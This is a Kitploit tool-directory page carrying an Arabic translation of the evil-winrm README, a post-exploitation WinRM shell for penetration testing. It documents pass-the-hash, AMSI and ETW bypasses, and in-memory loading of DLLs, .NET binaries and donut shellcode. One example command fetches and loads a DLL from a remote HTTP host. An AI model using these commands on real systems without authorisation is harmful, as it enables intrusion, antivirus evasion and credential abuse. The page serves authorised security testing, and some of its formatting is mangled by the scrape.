Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
evil-winrm — أداة WinRM shell المثلى للاختراق/اختبار الاختراق | Kitploit
أدوات/GitHubGitHub/hackplayers/evil-winrm
توليد الحمولةالاستغلالما بعد الاستغلالاختبار الاختراقالمصادقةأداة الوصول عن بعد
GitHubhackplayers/evil-winrm

evil-winrm

أداة WinRM shell المثلى للاختراق/اختبار الاختراق

عرض المستودع
5.4k680منذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Evil-WinRM ![Version-shield] ![Ruby2.3-shield] ![Gem-Version] ![License-shield] ![Docker-shield]

غلاف WinRM الأمثل للاختراق/الاختبار

Banner

الوصف والغرض

هذا الغلاف هو غلاف WinRM الأمثل للاختراق/الاختبار.

WinRM (إدارة Windows عن بُعد) هو تنفيذ Microsoft لبروتوكول WS-Management. بروتوكول قياسي قائم على SOAP يسمح للأجهزة وأنظمة التشغيل من بائعين مختلفين بالتعامل مع بعضها البعض. أدرجته Microsoft في أنظمة التشغيل الخاصة بها لتسهيل حياة مديري الأنظمة.

يمكن استخدام هذا البرنامج على أي خوادم Windows Microsoft مع تمكين هذه الميزة (عادةً على المنفذ 5985)، بالطبع فقط إذا كان لديك بيانات الاعتماد والأذونات لاستخدامه. لذا يمكننا القول أنه يمكن استخدامه في مرحلة ما بعد الاستغلال في مجال الاختراق/الاختبار. الغرض من هذا البرنامج هو توفير ميزات جميلة وسهلة الاستخدام للاختراق. يمكن استخدامه لأغراض مشروعة من قبل مديري الأنظمة أيضًا، لكن معظم ميزاته تركز على أمور الاختراق/الاختبار.

يعتمد بشكل أساسي على مكتبة WinRM Ruby التي غيرت طريقة عملها منذ الإصدار 2.0. الآن بدلاً من استخدام بروتوكول WinRM، تستخدم PSRP (بروتوكول PowerShell عن بُعد) لتهيئة مساحات تشغيل runspace وكذلك إنشاء خطوط الأنابيب pipelines ومعالجتها.

الميزات

  • متوافق مع أنظمة العميل Linux و Windows
  • تحميل نصوص Powershell في الذاكرة
  • تحميل ملفات dll في الذاكرة مع تجاوز بعض برامج مكافحة الفيروسات
  • تحميل تجميعات C# (سي شارب) في الذاكرة مع تجاوز بعض برامج مكافحة الفيروسات
  • تحميل حمولات x64 المولدة بتقنية [donut] الرائعة
  • تجاوز AMSI الديناميكي لتجنب توقيعات مكافحة الفيروسات
  • دعم Pass-the-hash
  • دعم المصادقة Kerberos بما في ذلك ملفات ccache و kirbi
  • دعم SSL والشهادات
  • رفع وتنزيل الملفات مع عرض شريط التقدم
  • سرد خدمات الجهاز البعيد بدون صلاحيات
  • سجل الأوامر
  • إكمال أوامر WinRM
  • إكمال الملفات/المجلدات المحلية
  • إكمال المسارات (الملفات/المجلدات) البعيدة (يمكن تعطيلها اختياريًا)
  • تلوين المطالبة ورسائل الإخراج (يمكن تعطيله اختياريًا)
  • ميزة تسجيل اختيارية
  • دعم Docker (صور مبنية مسبقًا متاحة على [Dockerhub])
  • التقاط Trap لتجنب الخروج العرضي من الغلاف عند Ctrl+C
  • وكيل مستخدم قابل للتخصيص باستخدام الوكيل الافتراضي المشروع لـ Windows
  • تجاوز ETW (تتبع الأحداث لنظام Windows)

المساعدة```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## المتطلبات
يلزم وجود Ruby 2.3 أو أعلى. كما يلزم وجود بعض gems الخاصة بـ Ruby: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
اعتمادًا على طريقة التثبيت (هناك 4 طرق متاحة) قد يلزم تثبيتها يدويًا.

شرط مهم آخر يُستخدم فقط لمصادقة Kerberos هو تثبيت حزمة Kerberos المستخدمة لمصادقة الشبكة.
بالنسبة لبعض توزيعات Linux مثل تلك المبنية على Debian (Kali و Parrot وما إلى ذلك) يُسمى `krb5-user`. أما بالنسبة لـ BlackArch فيُسمى `krb5` وربما يُسمى بطريقة مختلفة لتوزيعات Linux الأخرى.

ميزة الإكمال التلقائي للمسار البعيد ستعمل فقط إذا تم تجميع Ruby مع تمكين العلامة `--with-readline-dir`. يتم تمكين هذا افتراضيًا في Ruby المضمن في بعض توزيعات Linux ولكن ليس في جميعها. راجع [القسم أدناه](#Remote-path-completion) لمزيد من المعلومات.

## التثبيت والبدء السريع (4 طرق)

### الطريقة 1. التثبيت مباشرة كـ ruby gem (سيتم تثبيت التبعيات تلقائيًا على نظامك)
 - الخطوة 1. قم بتثبيته (سيقوم بتثبيت التبعيات تلقائيًا): ```gem install evil-winrm```
 - الخطوة 2. جاهز. فقط قم بتشغيله!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

الطريقة 2. استنساخ Git وتثبيت التبعيات على نظامك يدويًا

  • الخطوة 1. قم بتثبيت التبعيات يدويًا: sudo gem install winrm winrm-fs stringio logger fileutils
  • الخطوة 2. استنساخ المستودع: git clone https://github.com/Hackplayers/evil-winrm.git
  • الخطوة 3. جاهز. فقط قم بتشغيله!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### الطريقة الثالثة. استخدام bundler (لن يتم تثبيت التبعيات على نظامك، فقط لاستخدام evil-winrm)
- الخطوة 1. تثبيت bundler: `gem install bundler`
- الخطوة 2. استنساخ المستودع: `git clone https://github.com/Hackplayers/evil-winrm.git`
- الخطوة 3. تثبيت التبعيات باستخدام bundler: `cd evil-winrm && bundle install --path vendor/bundle`
- الخطوة 4. تشغيله باستخدام bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

الطريقة 4. استخدام Docker

  • الخطوة 1. تشغيل حاوية docker بناءً على الصورة المبنية مسبقًا:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## Documentation

### كلمة المرور بنص واضح
إذا كنت لا ترغب في وضع كلمة المرور بنص واضح، يمكنك تجنب تعيين الوسيطة `-p` اختياريًا وسيُطلب منك إدخال كلمة المرور دون إظهارها.

### Ipv6
لاستخدام IPv6، يجب إضافة العنوان إلى /etc/hosts. فقط ضع اسم المضيف المُحدَّد مسبقًا بعد الوسيطة `-i` بدلاً من عنوان IP.

### الأوامر الأساسية
 - **upload**: يمكن إكمال الملفات المحلية تلقائيًا باستخدام مفتاح التبويب.
   - الاستخدام: `upload local_filename` أو `upload local_filename destination_filename`
 - **download**:
   - الاستخدام: `download remote_filename` أو `download remote_filename destination_filename`

 __ملاحظات حول المسارات (upload/download)__:
   المسارات النسبية غير مسموح باستخدامها في download/upload. استخدم أسماء الملفات في الدليل الحالي أو المسار المطلق.
   إذا كنت تستخدم Evil-WinRM في بيئة docker، ضع في اعتبارك أن جميع المسارات المحلية يجب أن تكون في `/data` وتأكد من تعيينه كمجلد مشترك (volume) لتتمكن من الوصول إلى الملفات التي تم تنزيلها أو رفع الملفات من نظام التشغيل المحلي الخاص بك.

 - **services**: عرض جميع الخدمات مع إظهار ما إذا كان حسابك لديه صلاحيات على كل منها. لا حاجة إلى صلاحيات المسؤول لاستخدام هذه الميزة.
 - **menu**: تحميل دوال `Invoke-Binary` و `Dll-Loader` و `Donut-Loader` التي سنشرحها أدناه. عند تحميل ملف ps1، ستظهر جميع دواله.
 - **clear** أو **cls**: مسح شاشة الطرفية. يمكنك أيضًا استخدام اختصار لوحة المفاتيح `Ctrl+L` لمسح الشاشة.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

تحميل سكريبتات PowerShell

  • لتحميل ملف ps1،只需 كتابة الاسم (إكمال تلقائي باستخدام tab مسموح به). يجب أن تكون السكريبتات في المسار المحدد في الوسيط -s. اكتب menu مرة أخرى لرؤية الوظائف المحملة. يمكن أن تستغرق الملفات الكبيرة جدًا وقتًا طويلاً للتحميل.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### الأوامر المتقدمة
- Invoke-Binary: يسمح بتنفيذ تجميعات .Net في الذاكرة. يمكن إكمال الاسم تلقائيًا باستخدام مفتاح التبويب. يمكن تمرير وسائط ملف exe مفصولة بفواصل. مثال: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. يجب أن تكون الملفات التنفيذية في المسار المحدد في الوسيطة `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: يسمح بتحميل مكتبات dll في الذاكرة، وهو مكافئ لـ: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    يمكن استضافة ملف dll عبر smb أو http أو محليًا. بمجرد تحميله، اكتب menu، ثم يصبح من الممكن الإكمال التلقائي لجميع الوظائف.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
- دونات-لودر: يسمح بحقن حمولات x64 المولدة بتقنية [donut] الرائعة. لا حاجة لترميز payload.bin، فقط قم بتوليدها وحقنها!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

يمكنك استخدام [donut-maker] لإنشاء payload.bin إذا كنت لا تستخدم ويندوز. يستخدم هذا السكريبت وحدة بايثون كتبها Marcello Salvati ([byt3bl33d3r]). يمكن تثبيتها باستخدام pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: يقوم بتصحيح حماية AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • أولاً يجب مزامنة التاريخ مع DC: rdate -n <dc_ip>

  • هناك طرق عديدة لإنشاء التذكرة:

    • استخدام [ticketer.py] من impacket
    • استخدام [Rubeus] أو [Mimikatz] للحصول على تذاكر kirbi (يُدعم التحويل التلقائي إلى ccache)
  • إضافة ملف التذكرة. هناك 3 طرق:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    استخدم المعلمة -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache أو evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    عند استخدام -K، ستقوم الأداة تلقائياً بما يلي:

    • كشف تنسيق التذكرة (ccache أو kirbi)
    • تحويل تذاكر kirbi إلى تنسيق ccache إذا لزم الأمر (يتطلب ticket_converter.py أو impacket-ticketConverter)
    • التحقق من وجود الملف وإمكانية قراءته
    • تعيين متغير البيئة KRB5CCNAME
    • تحويل عناوين IP إلى FQDN لتحسين التوافق مع Kerberos
  • إضافة realm إلى /etc/krb5.conf (لنظام لينكس). من المهم استخدام هذا التنسيق: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

إكمال المسار البعيد

قد لا تكون هذه الميزة متاحة اعتمادًا على ruby الذي تستخدمه. يجب أن يتم تجميعه مع دعم readline. وإلا، فلن تعمل هذه الميزة (سيتم عرض تحذير).

الطريقة 1 (تجميع الامتداد المطلوب)

باستخدام هذه الطريقة، ستقوم بتجميع ruby مع ميزة readline المطلوبة ولكن لاستخدام المكتبة فقط دون تغيير إصدار ruby الافتراضي على نظامك. لهذا السبب، هي الطريقة الأكثر تفضيلاً.

لنفترض أن لديك في نظامك القائم على Debian إصدار ruby 2.7.3:```

Install needed package

apt install libreadline-dev

Check your ruby version

ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

Download ruby source code (2.7.3 in this case):

wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

Extract source code

tar -xf ruby-2.7.3.tar.gz

Compile the readline extension:

cd ruby-2.7.3/ext/readline ruby ./extconf.rb make

Patch current version of the ruby readline extension:

sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

root@kitploit:~
#### الطريقة الثانية (تثبيت ruby لاستخدامه فقط مع evil-winrm باستخدام rbenv)

لنفترض أنك تريد ruby 2.7.1 على نظام Linux قائم على Debian وتستخدم zsh. سيقوم هذا البرنامج النصي بأتمتة ذلك. ستحتاج إلى تشغيله من نفس المجلد الذي يوجد فيه evil-winrm.rb وملف Gemfile (المجلد الذي تم إنشاؤه بواسطة evil-winrm بعد استنساخ git على سبيل المثال):```
#!/usr/bin/env zsh

# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Install rbenv
sudo apt install rbenv

# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1

# Install local gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    "${current_evwr}" "\$@"
EOF"

sudo chmod +x /usr/bin/evil-winrm

بعد ذلك، يمكنك تشغيل evil-winrm بأمان باستخدام ruby المثبتة حديثًا مع دعم readline المطلوب من أي موقع.

الطريقة الثالثة (تجميع ruby بالكامل)

إذا كنت ترغب في تجميعها بنفسك، يمكنك اتباع هذه الخطوات. لنفترض أنك تريد ruby 2.7.3:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

root@kitploit:~
اعتمادًا على نظامك، سيتم تثبيته في `/opt/rubies/ruby-2.7.3` أو ربما في `~/.rubies/ruby-2.7.3`.

الآن تحتاج فقط إلى تثبيت تبعيات evil-winrm لإصدار ruby الجديد المُثبّت. أسهل طريقة هي تشغيل الأمر `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. يجب أن يكون أمر gem المستخدم تابعًا لتثبيت ruby الجديد.

بعد ذلك، يمكنك تشغيل ruby المُثبّت حديثًا بأمان لاستخدامه مع evil-winrm: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`

يُوصى باستخدام إصدار ruby المُثبّت حديثًا فقط لتشغيل evil-winrm. إذا قمت بتعيينه كـ ruby الافتراضي لنظامك، فضع في اعتبارك أنه لا يحتوي على أي حزم تبعية مثبتة. قد لا تعمل بعض البرامج القائمة على ruby مثل Metasploit أو غيرها بشكل صحيح بسبب مشاكل التبعيات.

### التسجيل

ستنشئ هذه الميزة ملفات في دليل `$HOME` الخاص بك لحفظ الأوامر ومخرجات جلسات WinRM.

### سجل الأوامر

يحتفظ Evil-WinRM بسجل أوامر دائم لكل مجموعة مضيف ومستخدم. يُخزَّن السجل في دليل `~/.evil-winrm/history/` مع ملفات بأسماء مثل `{host}_{user}.hist`.

عند الاتصال بجهاز سبق لك الوصول إليه، يمكنك استخدام مفاتيح الأسهم (لأعلى/لأسفل) للتنقل بين أوامرك السابقة. يتم حفظ السجل تلقائيًا بعد تنفيذ كل أمر ويتم تحميله عند إعادة الاتصال بنفس المضيف ونفس المستخدم.

### مشاكل معروفة. أخطاء OpenSSL

في بعض الأحيان، قد تواجه خطأ مثل هذا:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

الخطأ ناتج عن أن إصدار OpenSSL 3.0 قام بإزالة بعض الوظائف القديمة مثل MD4 اللازمة لتشغيل هذه الأداة. هناك عدة حلول بديلة موجودة للتعامل مع هذه الحالة:

  • قم بتحديث نظامك إلى الأحدث. على الأرجح، تم إصلاح هذه المشكلة تلقائيًا في أحدث إصدارات Ruby التي تستخدم إصدارات OpenSSL أحدث.
  • قم بتجميع Ruby الخاص بك باستخدام OpenSSL 1.x القديم بدلاً من OpenSSL 3.0 أو قم بتجميعه باستخدام OpenSSL > 3.0 لتجنب الإصدار 3.0 المشكل.
  • أسهل حل. قم بتحرير ملف التكوين /etc/ssl/openssl.cnf وتأكد من أن التكوين كالتالي:``` openssl_conf = openssl_init

[openssl_init] providers = provider_sect

[provider_sect] default = default_sect legacy = legacy_sect

[default_sect] activate = 1

[legacy_sect] activate = 1

root@kitploit:~
- كبديل للحل الأخير، إذا كان نظامك يستخدم LibreSSL بدلاً من OpenSSL أو ربما لا ترغب في تعديل ملف التكوين الخاص بالنظام. قم بإنشاء ملف بسيط يحتوي على المحتوى أعلاه. يمكن استخدام أي اسم، على سبيل المثال `evil-tls.conf`. بعد ذلك، قم بتصدير متغير بيئة لإجبار النظام على استخدامه: `export OPENSSL_CONF="/path/to/evil-tls.conf"`. ثم قم بتشغيل الأداة، وسيختفي الخطأ.

## سجل التغييرات:
يمكن الاطلاع على سجل التغييرات وتغييرات المشروع هنا: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)

## الاعتمادات:
الفريق:

 - [Cybervaca]، (المؤسس). تويتر (X): [@CyberVaca_]
 - [OscarAkaElvis]، تويتر (X): [@OscarAkaElvis]
 - [Jarilaos]، تويتر (X): [@_Laox]
 - [arale61]، تويتر (X): [@arale61]

تحية خاصة إلى:

 - [Vis0r] لدعمه الشخصي.
 - [Alamot] لكوده الأصلي.
 - [3v4Si0N] لمُحمِّل dll الرائع.
 - [WinRb] جميع المساهمين في مكتبة Ruby.
 - [TheWover] لأداة donut الرائعة.
 - [byt3bl33d3r] لمكتبة Python لإنشاء حمولات donut.
 - [Sh11td0wn] للإلهام حول الميزات الجديدة.
 - [Borch] لمساعدته في إضافة ميزة التسجيل.
 - [Hackplayers] لإعطائهم مأوى على GitHub لهذا البرنامج.

## إخلاء المسؤولية والترخيص
هذا السكريبت مرخص بموجب LGPLv3+. رابط مباشر للترخيص [License](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).

يجب استخدام Evil-WinRM فقط لاختبارات الاختراق المصرح بها و/أو للأغراض التعليمية غير الربحية.
أي إساءة استخدام لهذا البرنامج لا تقع على عاتق المؤلف أو أي متعاون آخر.
استخدمه على خوادمك الخاصة و/أو بإذن من مالك الخادم.

<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/

<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61

<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "أحدث إصدار"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 أو أحدث"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "قواعد Docker!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
تنزيل الأداة
root@kitploit:~
  • تحقق من تذاكر Kerberos باستخدام klist

  • لإزالة التذكرة استخدم: kdestroy

  • لمزيد من المعلومات حول Kerberos راجع هذه [ورقة الغش]